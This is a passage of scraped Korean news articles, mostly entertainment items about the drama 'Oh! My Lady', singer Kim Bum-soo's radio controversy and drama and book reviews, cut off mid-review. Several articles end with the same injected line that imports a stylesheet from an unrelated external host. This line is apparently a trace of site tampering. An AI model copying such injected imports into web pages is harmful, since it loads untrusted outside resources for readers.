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  • ‘오! 마이 레이디’ 선남선녀 톱스타 총집합

    ‘오! 마이 레이디’ 선남선녀 톱스타 총집합

    16일 오후 3시 목동 SBS홀에서 열린 SBS 새 월화드라마 ‘오! 마이 레이디’(이하 오마레)제작발표회가 열렸다. 이날 행사에는 연출을 맡은 박영수 PD를 비롯해 배우 채림, 최시원, 이현우, 문정희, 박한별 등이 참여해 인사를 나눴다. 사진 촬영을 마친 배우들은 ‘마이크 릴레이’를 하며 한 명씩 소감을 밝혔다. 먼저 박영수 PD가 작품 설명에 나섰다. 박영수 PD는 “개성이 넘치는 연기자들과 함께 작품을 만들게 되어 영광이다.”며 “‘오마레’는 무능한 아줌마인 채림이 톱스타 최시원과 얽히면서 유능한 매니저가 되는 성공기를 그린 로맨틱 코미디이다. 시청자들이 재미있고 편안하게 볼 수 있는 작품이다.”고 말했다. 두 번째로 마이크를 잡은 주인공은 이현우. 그는 “그동안 일 안하는 실장님 역을 많이 해왔는데 이번엔 돈을 많이 벌고 싶어 하는 CEO로 나온다.”며 “최시원처럼 복근을 공개하지 않아도 돼서 정말 다행이다.”라고 말해 주변을 폭소케 했다. 이어 문정희는 “이현우의 아내 한정아 역을 맡았다. 봄과 어울리는 유쾌한 드라마라 기대가 된다. 과거에 했었던 뮤지컬을 다시 하는 느낌이다. 작품 속에 열정을 담았으니 기대해 달라.”고 미소를 지었다. 여주인공 채림은 “감기가 걸려서 목소리가 걸걸해 죄송하다.”고 입을 연 후 “극중 맡은 아줌마 윤개화를 사랑하게 됐다. 촬영을 하면서 결혼이 아줌마를 만드는 것이 아니라 고된 삶이 아줌마로 만드는 것을 깨닫게 된다.”며 전했다. 최시원은 “3년 만에 안방극장에 찾아와서 낯선 감이 없지 않다.”며 “성민우는 벼락스타다. 까칠하지만 채림이 분하는 개화를 만나면서 성숙하는 남자로 나온다. 초콜릿 복근도 공개되니 꼭 방송 봐라!”며 당부했다. 마지막으로 박한별 “내가 맡은 홍유라는 패션브랜드 팀장인 만큼 스타일리쉬하고 엣지 있는 캐릭터이다.”며 “그녀는 도도하고 완벽해보이기 하지만 사실상 허점이 많은 귀여운 여성이다. 미워하지 말고 사랑해 달라.”며 두 손을 모았다. 한편 ‘별을 따다줘’ 후속으로 오는 22일 첫 방송되는 ‘오마레’는 초보 아줌마매니저 윤개화(채림 분)가 까칠한 꽃미남 스타 성민우(최시원 분)를 길들이면서 벌어지는 로맨틱 코미디다. 서울신문NTN 김경미 기자 84rornfl@seoulntn.com / 사진 = 한윤종 기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 김범수 “치한놀이 발언 잘못”

    김범수 “치한놀이 발언 잘못”

    가수 김범수(31)가 자신이 진행하는 MBC ‘김범수와 꿈꾸는 라디오’에서 치한을 연상시키는 놀이를 했다는 발언으로 물의를 빚은 것과 관련해 15일 프로그램 홈페이지에 사과문을 실었다. 김범수는 “방송내용 중 어린 시절 철없을 때 했던 나쁜 기억에 대해 이야기했던 발언이 문제가 된 점에 대해 명백한 저의 잘못이었음을 고백한다.”면서 “이러한 무개념 발언이 얼마나 큰 영향과 파장을 불러일으키는지 방송이 나간 뒤 깨달았다. 초보 라디오 진행자로서의 실수로만 판단하기에는 부끄럽고 참담한 심정”이라고 밝혔다. 김범수는 지난 13일 “밤늦은 골목 어귀에서 여자를 뒤따라가는 장난을 쳤다.”고 발언해 네티즌의 거센 비난을 받았다. 이경원기자 leekw@seoul.co.kr
  • 김범수 ‘치한놀이’에 네티즌 “방관한 제작진 더 나빠”

    김범수 ‘치한놀이’에 네티즌 “방관한 제작진 더 나빠”

    가수 김범수가 ‘치한놀이’ 발언으로 홍역을 치르고 있는 가운데 ‘방관한’ 제작진에 대한 질타가 더욱 거세지고 있다. 김범수는 지난 13일 자신이 진행하는 MBC FM4U ‘김범수와 꿈꾸는 라디오’에서 어렸을 적 했던 놀이라며 이른바 ‘치한놀이’를 소개해 청취자들의 뭇매를 맞았다. 이에 김범수는 지난 15일 프로그램 홈페이지에 사과문을 게재하고 방송에서도 공식 사과했다. 김범수는 글과 방송을 통해 “초보 라디오 진행자로서의 실수로만 판단하기에는 생각하면 할수록 부끄럽고 참담한 심정”이라며 “아무리 철없는 시절이라도 잘못된 행동을 한 게 부끄럽고 가볍게 방송에서 던진 점, 질타를 받아 마땅하다. 불쾌하시고 놀라셨을 분들께 죄송스럽다.”고 사죄를 구했다. 공개사과에도 불구, 네티즌들은 김범수의 자진하차를 요구하고 다음의 아고라에 김범수 퇴출 운동을 전개하는 등 더욱 강경한 움직임을 보이고 있다. 특히 프로그램 제작진이 더 큰 문제라는 지적도 나오고 있다. 이날 방송분은 생방송이 아닌 녹음 방송이었기 때문. 김범수와 더불어 제작진 역시 프로그램 홈페이지에 “김범수는 5개월 동안 프로그램을 진행 중인 초보 DJ라 실력보다 의욕이 앞서고 방송매체에 대한 이해와 진행 능력이 미숙한 것이 사실이다.”며 “사회적 물의를 일으킨 데 대해 김범수와 프로그램 모두 백번 사죄드린다. 미연에 방지하지 못한 것 역시 가슴 깊이 뉘우치고 있다.”고 사과문을 올렸다. 하지만 제작진의 말처럼 김범수가 초보 DJ이고 진행능력이 미숙하다고 판단했다면 더 신경을 썼어야 했다는 반응이 주를 이루고 있다. 한 네티즌은 “재미있으니까 그대로 방송해놓고 청취자 반응 살핀 것 아니냐.”며 “제작진이 더 괘씸하다.”고 지적했다. 이외에도 네티즌들은 “제작진도 누군가의 딸이거나 딸이 있거나 여동생, 누나가 있을 텐데 정신을 좀 놓은 듯 하다.”, “김범수는 여론이 가라앉지 않으면 하차할 수 있지만 더 큰 문제인 제작진은 계속 제작할 것 아니냐” 등의 반응을 보이고 있다. 김범수에 앞서 정선희, 윤종신 역시 라디오 방송에서 각각 촛불운동 관련발언과 여성을 생선회에 비유해 논란이 일자 프로그램에서 하차했다. 김범수와 제작진이 어떤 결정을 내릴지 귀추가 주목된다. 사진 = 서울신문NTN DB 서울신문NTN 정병근 기자 oodless@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘오! 마이 레이디’ 문정희는 춤꾼?

    ‘오! 마이 레이디’ 문정희는 춤꾼?

    배우 문정희가 밥을 굶고 춤만 출 정도로 ‘댄스 홀릭’ 상태라고 밝혔다. 16일 오후 3시 목동 SBS홀에서 열린 SBS 새 월화드라마 ‘오! 마이 레이디’(이하 오마레)제작발표회가 열렸다. 이날 행사에는 배우 채림, 최시원, 이현우, 문정희, 박한별 등이 참여했다.극중 문정희는 이현우의 아내이자 뮤지컬 안무가인 ‘한정아’ 역을 맡는다. 그녀는 작품 의뢰가 끊이지 않을 정도로 대한민국 최고 안무가로 인정받는 엘리트 여성이다.특히 놀라운 사실은 문정희가 직접 만든 안무들이 작품을 통해 소개된다는 점이다. 문정희는 “극중 필요한 동작을 집중적으로 준비했다. 동작을 만들고 짜깁기해서 감독과 상의한 후 카메라 앞에 선다.”고 밝혔다.문정희에게 춤이란 공기다. 일상에서 항상 춤을 즐기기 때문이다. 문정희는 “영화 ‘바람의 전설’ 촬영 당시 라틴댄스를 배운 후 춤에 푹 빠져있다. 선수들에게 하루 10시간 이상 특별 레슨을 받았을 정도로 열정이 있었다.”고 전했다.이어 문정희는 “라틴댄스만이 아니다. 살사와 힙합, 나이트댄스까지 추고 있다.”며 “이번 드라마 동작을 만들 땐 이현우의 나이트댄스 동영상을 참고했다. 도움이 컸다.”고 말해 주변을 폭소케 만들었다. 한편 ‘별을 따다줘’ 후속으로 오는 22일 첫 방송되는 ‘오마레’는 초보 아줌마매니저 윤개화(채림 분)가 까칠한 꽃미남 스타 성민우(최시원 분)를 길들이면서 벌어지는 로맨틱 코미디다.서울신문NTN 김경미 기자 84rornfl@seoulntn.com / 사진 = 한윤종 기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘오! 마이 레이디’ 채림 “대한민국 아줌마 파이팅!”

    ‘오! 마이 레이디’ 채림 “대한민국 아줌마 파이팅!”

    배우 채림이 ‘오! 마이 레이디’를 통해 억척스러운 아줌마로 변신한다. 16일 오후 3시 목동 SBS홀에서 열린 SBS 새 월화드라마 ‘오! 마이 레이디’(이하 오마레)제작발표회가 열렸다. 이날 행사에는 배우 채림, 최시원, 이현우, 문정희, 박한별 등이 참여했다. 극중 채림은 대한민국 대표 아줌마 ‘윤개화’ 역으로 분한다. 이혼녀인 윤개화는 얼마 되지 않는 위자료를 친정엄마 병 수발로 다 날리고 백수신세가 되어 딸과 함께 어렵게 살아가는 캐릭터이다. 하지만 결코 주눅 들지 않고 취직하기 위해 수단 방법을 가리지 않는 무대뽀 아줌마가 된다. 채림은 윤개화와 만나면서 아줌마를 사랑하게 됐다. 채림은 “20대여도 결혼을 하는 순간 아줌마가 된다.”며 “보통 아줌마란 이미지는 얼굴에 억척스럽고 가족의 희생양이 되는 존재로 그려진다. 이 사실을 촬영을 통해 온 몸으로 깨달았다.”고 전했다. 이어 채림은 “고된 시련도 끝까지 견뎌내는 대한민국 아줌마들이 자랑스럽다.”며 “안방극장에 모인 가족들도 깨달을 수 있도록 눈물이 나도 생활고를 견뎌내는 윤개화 역을 완벽하게 소화해내고 싶다.”라고 말하며 두 주먹을 ‘불끈’ 쥐어 보였다. 한편 ‘별을 따다줘’ 후속으로 오는 22일 첫 방송되는 ‘오마레’는 초보 아줌마매니저 윤개화(채림 분)가 까칠한 꽃미남 스타 성민우(최시원 분)를 길들이면서 벌어지는 로맨틱 코미디다. 서울신문NTN 김경미 기자 84rornfl@seoulntn.com / 사진 = 한윤종 기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 스승과 제자 영화 ‘클래스’처럼 마주앉아보니

    스승과 제자 영화 ‘클래스’처럼 마주앉아보니

    우리 사회에 교육만큼 복잡한 문제가 또 있을까. 하지만 대부분의 고민은 ‘대학 입시제도’에 관한 것뿐이다. 교사와 학생들이 몸담고 있는 학교 현장에서 정작 ‘제대로’ 가르치고 또 정말 ‘제대로’ 배우고 있는지에 대한 관심은 부족하다. 교사와 학생들은 제대로 ‘소통’하고 있을까. 마침 교사와 학생 간의 소통 문제를 다룬 프랑스 영화 ‘클래스’가 새달 1일 개봉한다. 시사회가 끝난 뒤 ‘솔직 토크’를 가져보자는 서울신문의 제안에 서울여고 교사들과 고3 학생들이 흔쾌히 응했다. ‘클래스’는 61회 칸 영화제 황금종려상 수상작이다. ●주제 영화 ‘클래스’로 바라본 한국 학교의 소통 문제 ●토론자 서울여고 사서교사 손서영(29), 국어교사 신성민(34), 3학년 학생 김기린(17), 소다솔(18), 옥민송(18), 이현정(18) ●사회 이경원 서울신문 영화 담당 기자 ●시간·장소 3월12일 오후 10시 서울 삼청동의 한 카페 사회 개인적으로 인상 깊은 영화였습니다. 마치 다큐멘터리를 보는 것 같이 리얼리티가 살아 있더군요. 어떻게 보셨나요. 기린 한국 학교는 위계질서가 확실하잖아요. 하지만 프랑스는 너무 달랐어요. 우리가 보기엔 정말 버릇없는 질문임에도 선생님은 그 이유를 자세히 설명해요. 그만큼 프랑스 교육은 소통이 잘 되는 것 같아 한편으로는 부러웠어요. 민송 맞아요. 우리나라라면 정말 미치지 않고는 하지 못할 행동을 선생님 앞에서 자연스럽게 하고, 선생님은 또 그걸 받아줘요. 학생들은 “선생님은 우리를 존중해 주지 않는데 왜 우린 선생님을 존경해야 되죠?”라고 당당하게 묻잖아요. 기린 하지만 소통이 많으면 그만큼 갈등이 많아진다는 생각도 들었어요. 사실 제가 보기엔 영화 속 수업이 제대로 된다는 생각이 들지 않았거든요. 허구한 날 부딪치고 오해가 생기잖아요. 다솔 아무리 프랑스라 해도 인간과 인간으로서 예의에 어긋나는 행동들이 너무 많아요. 사실 교사도 사람인데, 인내에 한계가 있죠. 주인공 마랭 선생님이 학생들에게 말 실수를 했던 것도 학생들의 반항 수위가 너무 높았기 때문이라고 생각해요. 사회 슬슬 선생님 눈치를 보는 분위기인데요(모두 웃음). 하지만 소통이 익숙지 않기 때문에 프랑스 학교의 현실이 불편하게 다가온 것은 아닐까요. 우린 일방적인 관계에 너무 길들여져 있으니까 자유롭게 토론하는 게 갈등처럼 보이는 거죠. 신 교사 그럴 수도 있죠. 하지만 우리 교육 현실은 의사 소통을 할 수 있는 분위기가 아니에요. 대학 입시라는 급박한 상황이 눈앞에 있잖아요. 자유롭게 질문하고 대답하는 시간보다 문제 하나라도 더 풀어보는 게 중요할 수밖에 없죠. 현정 우리 교육이 입시 위주로 흘러가다 보니 학생 한 명 한 명의 목소리를 듣기란 무척 어렵잖아요. 사실 모든 게 성적순이고요. 하지만 영화에서는 선생님들이 문제학생과 얘기를 나눌 때 성적과 인격 가운데 무엇이 더 심각한지 토론하잖아요. 우리 같았으면 무조건 성적이 우선이었겠지만, 영화에선 이를 가지고 저울질하죠. 민송 이런 면에선 차라리 학원이 더 자유롭기도 해요. 학원은 학교보다는 덜 경직돼 있고 자유로운 분위기가 나요. 학원 선생님은 학교 선생님에 비해 더 친구 같고 가깝게 느껴질 때가 많아요. 사실 학교 수업시간은 소통은커녕 너무나 조용해요. 신 교사 그렇다고 우리 현실과 마냥 다르진 않아요. 표현 방식이 다를 뿐 프랑스 학교와 우리 학교가 충분히 공유할 수 있는 부분도 있었습니다. 가령, 새학기가 되면 교사와 학생 간의 암묵적인 기 싸움이 있죠. 프랑스 학교가 좀더 노골적일 뿐 기싸움이란 측면에선 우리와 비슷한 구석이 있어요. 그리고 방학이 되면 수많은 갈등이 아무렇지도 않은 듯 끝나요. 영화도 그렇죠. 왠지 방학을 하면 교사 입장에서도 학생들이 많이 생각나거든요. 손 교사 저는 교사와 교사의 소통이 가장 눈에 들어왔어요. 작은 사안에 대해서도 서열에 관계 없이 교사 모두가 세세히 토론을 하고 공감대를 형성해요. 같이 가는 분위기라고 할까요. 사실 교사와 교사의 소통이 기본이 되야 교사와 학생의 소통도 가능한 게 아닌가 싶어요. 사회 만일 영화에서처럼 학생들이 막무가내로 반항을 한다면 선생님들은 어떻게 하시겠어요. 손 교사 일단 피하는 게 최선이라고 봐요. 반항을 한 아이도 자신의 잘못을 알지만 단지 자존심 때문에 강하게 나갈 때가 많거든요. 시간이 지난 뒤 불러서 얘기하는 겁니다. 둘 다 흥분하면 수습이 안 되니까요. 신 교사 비슷한 생각입니다. 대립각을 같이 세워 큰 일이 생긴 사례를 몇 번 본 적 있어요. 교사가 강하게 나가면 부작용도 크고요. 하지만 교사들에게도 이젠 학생들을 상대할 무기가 점점 없어지고 있긴 해요. 교사나 학생이나 모두가 힘들어하고 있죠. 사회 주목해야 할 부분은 이 영화도 프랑스 교육에 대한 고민을 담아내고 있다는 겁니다. 한국의 교육 현실을 보여주는 영화를 떠올려 볼까요. 몽둥이를 들고 있는 선생님, 운동장에서 뺑뺑이를 도는 학생들이 항상 나옵니다. 그만큼 우리 교육의 소통이 초보 단계에 머물러 있다는 방증이죠. ‘클래스’는 자유로운 소통은 당연한 것이고, 그 와중에 생겨나는 문제들을 짚어내요. 우리보다 몇 단계 더 나아간 고민을 하고 있는 셈이죠. 그 점을 생각하면 왠지 씁쓸합니다. 오늘 좋은 말씀 감사합니다. 정리 이경원기자 leekw@seoul.co.kr
  • ‘G컵’ 정수정 “가슴만 큰 배우? 죽기보다 싫다”

    ‘G컵’ 정수정 “가슴만 큰 배우? 죽기보다 싫다”

    ‘70G컵女’로 주목 받은 정수정은 수줍기보단 당차다. 구차한 설명 따위는 필요 없다. 올리브TV ‘악녀일기 시즌4’에서 보여줬던 솔직하고 씩씩한 모습이 바로 정수정을 설명하는 모든 것이다. 동글동글한 눈에 번지는 생글생글한 미소. 인터뷰에서 만난 정수정은, 이제 걸음마를 뗀 신예였다. 하지만 말을 나눠보니 분명 욕심 가득한 준비된 배우였다. 연기만큼은 고민이 깊다는 정수정. 그녀의 아찔한(?) 속을 들여다봤다. ◆ 섹시는 이제 그만! 사랑 받은 연기자 될래요 “풍선만한 가슴 달린 여배우로 낙인찍히는 건 죽기보다 싫어요. 연기자 데뷔를 준비하고 있는데 섹시 이미지로만 굳어 질까봐 무서워요.” 정수정은 자신의 이름 앞에 붙는 ‘G컵’ 수식어 따위가 싫다며 투덜거렸다. 정수정은 19때부터 패션 및 광고 모델로 활동했고, ‘악녀일기 시즌4’와 SBSE!TV ‘이경실 정선희의 철퍼덕 하우스’(이하 철퍼덕 하우스) 등에 출연하며 얼굴을 알리기 시작했다. 하지만 본격적인 배우 생활은 이제부터 시작. “‘철퍼덕 하우스’ 고정 출연하게 됐어요. 예능도 좋지만 지금 연기가 너무 하고 싶어 미칠 지경이에요. 생생한 무대의 떨림을 느껴보고 싶어요. ‘콕’ 찍어서 이런 역을 맡아보고 싶다는 캐릭터는 없어요. 다만 어떤 역할이든 마구잡이로 다 소화해낼 수 있는 색채감 있는 배우가 되고 싶어요.” 정수정은 정신없는 스케줄에도 불구, 바쁜 만큼 이를 악물고 연기연습을 한다. 갈 때까지 가보자하는 오기가 발동한 것. 정수정이란 이름 앞에 ‘배우’라는 수식어가 생기 있게 피어날 날이 머지않아 보였다. ◆ 엽기적인 그녀! ‘가식’ 따윈 개나 줘버려? “저 코 성형했는데 어때요?” 정수정의 입에서 터진 갑작스런 폭탄 발언으로 매니저 이마에 땀방울이 맺혔다. 한 순간 말문이 막힌 건 기자도 마찬가지. 새빨간 거짓말도 모르는 정수정에게선 솔직 당당한 매력이 돋보였다. 덕분에 그녀의 사생활은 순식간에 다 털렸다. 사람들과 어울림을 좋아하는 정수정은 소주 5병을 해치우는 무서운(?) ‘주당’이었다. 또 여자 연예인들이 밝히기 꺼려하는 연애담도 주저 없이 털어놨다. 정말 ‘쿨’해도 너무 시원한 정수정. “바빠지기 전엔 일주일에 8일(?)을 술을 즐겼어요. 워낙 외향적인 성격이라 항상 친구들과 어울리며 놀아요. 한번은 삼삼오오 모여서 밤새 술잔을 기울이다가 갑자기 바다가 보고 싶어 새벽에 무작정 고속버스를 탔어요. 그런데 웬걸? 잠깐 들린 휴게소에서 맥주를 마시다가 전부 뻗어버려서 결국 가지 못했죠.”라며 까르르 웃었다. 남자친구 이야기엔 금세 찡그렸다. “얼마 전에 헤어졌어요. 사랑을 듬뿍 줬던 고마운 사람이었는데… 언제든 연인 공개는 당당하게 할 수 있어요. 팬들에게도, 제 자신에게도 거짓말쟁이가 되고 싶지 않아요. 항상 제 미니홈피를 주시해 주세요. 나만의 백마 탄 왕자님이 나타나면 가장 먼저 팬들에게 알려주고 싶어요.” ◆ ‘엄친딸’ 정수정, 20살 때부터 CEO 귀여운 외모와 털털한 성격만이 전부가 아니었다. 알고 보니, 정수정은 고등학교를 졸업하자마자 사업 전선에 뛰어든 능력 ‘빵빵’한 사장님이었다. 남들 다 간다는 대학 진학을 망설임 없이 포기하고 돈 벌기에 나섰다. “부모님께 대학등록금으로 사업을 해보고 싶다고 했더니 흔쾌히 허락해주셨어요. 경영자 마인드를 배워보고 싶었거든요. 평소 관심 있었던 온라인 쇼핑몰을 열어, 시장 조사도 하고 직접 모델로도 활약했어요.(웃음) 초보 경영자였지만 다행히도 수익은 꽤 났답니다.” 최근 정수정은 성공리에 꾸려오던 쇼핑몰에서 잠시 손을 뗐다. 배우가 되기 위해서다. “쇼핑몰 경영권을 믿을만한 친구에게 건넸어요. 지금은 CEO보단 누구에게나 인정받는 연기자가 되고 싶어요. 신이 아닌 이상 두 마리 토끼를 다 잡는 건 힘들잖아요? 그렇다고 결코 사업을 그만 둔 것은 아니에요. 지금까지 실전에서 ‘몸 풀기’를 했다면 앞으론 전문 경영이론을 공부하고 싶어요.” 정수정은 성실한 욕심쟁이다. 무언 갈 해달라고만 하는 철부지가 아닌, 스스로 즐겁게 개척해나가는 야무진 소녀이다. 올해 무섭게 떠오를 신예 정수정의 야심 찬 행보가 심히 기대된다. 서울신문NTN 김경미 기자 84rornfl@seoulntn.com / 사진 = 강정화 기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 행복해지려면 달리고 달려라

    그들의 사슴 사냥 방식은 이렇다. 사슴을 발견하면 일단 달린다. 네 발 달린 짐승의 폭발적인 순간 속도를 따라잡기는 물론 어렵다. 그러나 사슴의 뒤를 쫓아 달리기는 계속된다. 며칠이건. 그러다 사슴의 발굽은 너덜너덜해지고 결국 탈진한다. 그때 손쉽게 사로잡는다. 매의 둥지보다도 높은 절벽 비탈에서 무리를 이뤄 사는 멕시코의 원시부족 타라우마라족 이야기다. 인류 역사상 가장 빠르게 달리는 종족들이다. 얇은 샌들 하나 신고서 하루에 100㎞를 훌쩍 달릴 수 있다. 음식이라고는 그저 옥수수 가루죽에 옥수수 맥주를 마시고, 가끔 구운 쥐를 별미 삼아 먹는다. 이들의 마을을 봤다는 이방인은 ‘거의’ 없다. 오지 중의 오지인 데다 타는 듯한 더위와 재규어, 독사, 높은 계곡의 열병 등은 바깥에서 들어오는 이를 허락하지 않았다. 그들은 왜 이렇게 험준한 협곡 오지에 숨어 살고 있을까. 이들이 처음부터 은둔하거나 외부를 배척한 것은 아니다. 지극히 평화를 사랑하며 바깥 세상과 자신의 달리기 능력에 대한 호기심으로 시베리아에까지 나타나기도 했던 이들이다. 그러나 이들의 마음 속에 공포를 키운 것은 외부인들이었다. 아주 오래전 은을 찾아 나선 스페인 사람들은 타라우마라 족장의 머리를 베었고, 이들에게 광산에서 노예 노동을 시켰다. 또 서부 개척 시대에는 현상금이 걸린 아파치 인디언 대신 비슷한 외모의 타라우마라족을 죽였다. 게다가 영생을 약속하며 이 부족을 찾은 선교사들은 아무런 항체도 없는 이들에게 스페인 독감을 퍼뜨려 대부분 부족을 말살시키기까지 했다. 타라우마라족이 오지로 꼭꼭 숨어 들어간 것은 필연적 결과였다. 그렇다면 이들은 어떻게 세상에 알려질 수 있게 됐을까. 타라우마라족과 그들의 자연이 받아들인 한 남자, ‘카바요 블랑코(흰 말)’에 의해 가능했다. 카바요와 타라우마라족을 하나로 묶어준 것은 바로 ‘달리기’다. 이를 매개로 기록이 남겨질 수 있었다. 바로 ‘본 투 런(Born To Run)’(민영진 옮김, 페이퍼로드 펴냄)을 쓴 전직 AP통신 종군기자이자 현재 유명 스포츠잡지의 칼럼니스트인 크리스토퍼 맥두걸에 의해서다. ‘본 투 런’은 단순한 달리기 입문서, 인문서와는 궤를 달리 한다. 발바닥부터 허벅지까지 걸핏하면 부상을 입기 일쑤인 ‘초보 울트라’ 달리기 선수 맥두걸이 현대 과학의 산물이라는 첨단 운동화가 아닌, 타라우마라족과 같은 맨발 달리기를 주장한다. 오히려 운동화가 부상을 낳는다는 얘기다. 또한 달리기는 경쟁의 승리·돈·명예를 위해서가 아닌, 기쁨과 행복을 위한 것이라는 점을 강조한다. 그가 직접 참가한 울트라마라톤 경기도 박진감 넘치고 흥미진진하다. 지극히 평화로우면서도 겁많고 순박한, 자연을 고스란히 빼닮은 사람들과의 만남은 행복 그 자체다. 저자는 현장의 생생함과 사람들의 숨결이 고스란히 남아 있는 문장을 구사하고 있다. 더욱 쉽고 편안하게 읽히는 요인이다. 책의 말미에서 카바요는 울트라 마라톤 달리기 선수로서 유명 기업으로부터 스폰서 제안을 받지만 이를 거부한다. 그리고 이렇게 얘기한다. “우리는 함께 달리고 먹고 마시고 춤추고 어울릴 사람만 원해. 달리기는 물건을 파는 일이 아니야. 달리기는 자유로워야 해.” 타라우마라족의 본래 이름은 ‘라라무리’족이다. 달리는 사람들이라는 뜻이다. 문명에서 온 이들이 멋대로 부른 이름이 굳어진 것이다. 이들의 행복한 달리기만 배울 것이 아니라 남의 이름을 존중하는 법도 함께 배워야겠다. 1만 4800원. 박록삼기자 youngtan@seoul.co.kr
  • 서울~부산 2시간10분 주파

    서울~부산 2시간10분 주파

    오는 11월 초 경부고속철도 전 구간이 완전 개통돼 서울에서 부산까지 2시간10분이면 도착할 수 있게 된다. 10일 한국철도공사(코레일)에 따르면 대구~부산 간 경부고속철 2단계 구간 공사가 당초보다 2개월가량 앞당겨져 오는 11월 초 완공된다. 이는 오는 11월11일 열리는 ‘G20 정상회의’ 이전에 경부고속철을 개통, 한국형 고속철도를 선진국 지도자들에게 널리 알리겠다는 취지다. ●선진기술 G20정상에 홍보 오는 11월 개통되는 경부고속철 노선은 서울~부산까지 423.7㎞로 기존 노선(408.5㎞)에 비해 15.2㎞가 길지만 운행시간은 2시간40분에서 2시간10분으로 30분가량 단축된다. 특히 정차역을 줄일 경우 1시간 50분대로 운행시간을 단축할 수 있다는 게 코레일의 분석이다. 경부고속철도가 완전 개통되면 운행 횟수도 대폭 늘어난다. KTX(고속철도)는 현재 평일 74회, 주말·휴일 91회가 운행되고 있지만 11월부터는 평일 92회, 주말·휴일 126회로 각각 18회와 35회가 늘어난다. ●요금은 5만5000원 될 듯 최대 현안은 운임이다. 코레일은 기존선 운임(서울~부산 간 기준가격 5만 1200원)은 유지하되 신선은 조정이 불가피하다는 입장이다. 신선이 기존선에 비해 8700원가량 요금 인상 요인이 발생한다는 것이다. 코레일은 이 가운데 최소 50%(4350원)를 높이는 방안을 검토하고 있다. 이 정도 가격대면 비행기와도 충분히 경쟁할 수 있을 것으로 분석하고 있다. 대략 5만 5000원 안팎이 될 전망이다. 정부대전청사 박승기기자 skpark@seoul.co.kr
  • ‘달콤·새콤·단백’ 파스타, 요리 드라마+α

    ‘달콤·새콤·단백’ 파스타, 요리 드라마+α

    ‘서로 다른 세상이 만나 +α가되는 세상을 만든다’ 는 의미의 알파라이징(alpharising). MBC ‘파스타’ 는 요리 드라마의 알파라이징을 보여줬다. 색깔 있는 캐릭터, 감각적인 대사와 영상미, 요리사의 사명의식이 가미되면서 달콤하면서도 세콤하고 담백한 3색 요리 드라마로 탄생했다. 드라마 ‘파스타’ 의 달콤함은 극중 현욱(이선균 분)과 유경(공효진 분)의 로맨스와 살아있는 듯한 주변 캐릭터에서 맛볼 수 있었다. 극 초반 이선균은 버럭 쉐프로 등장, 기존의 요리만화 속 캐릭터를 답습하는 듯 했지만 유경과 사랑을 싹틔우기 시작하면서 까칠하면서도 달콤한 쉐프로 재탄생했다. 공효진은 극중 유경 캐릭터와 싱크로율 100%를 보이면서 ‘국민 귀염둥이’ 로 등극했다. 특히 사랑에 빠진 이들의 모습은 ‘파스타’ 시청률 상승의 원동력이 됐다. 극의 중반부로 갈수록 시청률 경쟁에서 뒷심을 발휘해 4부가 연장되기도 했다. 로맨틱하고 진지한 연인공식에서 벗어나 귀엽고 사랑스러운 모습으로 시청자들의 마음을 사로잡은 것. 조연급들은 살아있는 듯한 캐릭터로 극의 재미를 배가시켰다. 극중 이태리 레스토랑 라스페라의 주방 막내 은수(최재환 분)는 실감나는 눈물연기로, 월급사장 설사장(이성민 분)은 능청스러운 연기로 시청자들을 울리고 웃겼다. ‘파스타’ 의 세콤함은 감각적인 대사와 영상에서 음미할 수 있었다. 극중 현욱과 유경의 대사 속에 녹여낸 비유와 은유는 시청자들에게 또 다른 재미로 다가갔다. 역동감 넘치는 주방을 무대로 선보인 형형색색의 요리들은 보는 이들의 오감을 자극했다. ‘알리오 파스타’ 등 극중 요리가 검색어 상위권에 랭크되기도 했다. ‘파스타’ 의 담백함은 전문직이면서도 비인기직인 요리사들의 애환과 사명의식이 사실적으로 그려지면서 느낄 수 있었다. 아버지로부터 의대생인 남동생과 비교당하고 여자라서 설움도 겪지만 요리사의 꿈을 향한 유경의 열정과 노력에 많은 시청자들은 공감을 나타냈다. 유경은 고졸 학력에 막 주방 보조 딱지를 뗀 초보 요리사. 어찌보면 미련하다 싶을 정도로 요리에만 몰두한다. 하지만 어려운 상황들도 요리에 대한 열정 하나로 꿋꿋이 극복해나갔고 결국 뉴쉐프 대회에서 1위를 차지했다. ‘파스타’ 는 ‘맵고 짠’ 막장 드라마가 대세인 요즘, 화학 조미료를 치지 않은 유기농 드라마의 가능성을 보여줬다. 달콤하면서도 세콤하고 담백한 맛의 여운은 당분간 가시지 않을 것으로 보인다. 사진 = MBC 서울신문NTN 백영미 기자 positive@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [영화리뷰] 프롬 파리 위드 러브

    [영화리뷰] 프롬 파리 위드 러브

    영화 제목이 ‘프롬 파리 위드 러브’(From Paris with love)다. 국내에서는 ‘위기일발’이라는 이름으로 개봉했던 007 제임스 본드 시리즈의 두 번째 작품 ‘프롬 러시아 위드 러브’(1963)가 떠올라 웃음이 난다. 인기 미드 ‘튜더스’의 헨리 8세 역으로 잘 알려진 조너선 리스 마이어스(오른쪽)가 연기한 주인공 이름이 제임스인 점에서 심증이 노골적으로 굳어진다. 그렇다면 이 영화는 심각하게 고민하며 볼 영화는 아닌 것 같다. 게다가 프랑스식 액션 영화를 쏟아내고 있는 뤽 베송이 제작을 맡은 작품이다. 제임스는 주 프랑스 미국 대사 비서로 일하는 똑똑한 젊은이다. 투잡족이다. 정체가 분명하지 않은 미국 정보기관의 새내기 요원이다. 하는 일은 거창하지 않다. 정식 요원들이 출동하기에 앞서 자동차 번호판을 바꿔 달아주는 게 전부. 그러나 세상을 구하는 멋진 임무를 꿈꾼다. 기회가 온다. 파리 공항에서 입국하다가 문제가 생긴 베테랑 특수요원 왁스(존 트래볼타·왼쪽)를 차에 태워 데려오면 정식 요원으로 승격된다는 약속을 받은 것. 제임스는 그저 간단한 일로 생각하고 냉큼 달려가지만, 총격전이 난무하는 등 상황은 긴박하게 흘러간다. ‘무대포’ 왁스 덕택에 특수요원에 대한 환상도 조금씩 깨진다. ‘프롬 파리 위드 러브’는 어수룩한 신참과 능구렁이 같은 고참이 짝패를 이뤄 이야기를 엮어가는 ‘버디 무비’다. 아웅다웅하면서도 사건을 쫓아가는 모습이 재미를 준다. 마이어스의 서툰 초보 요원 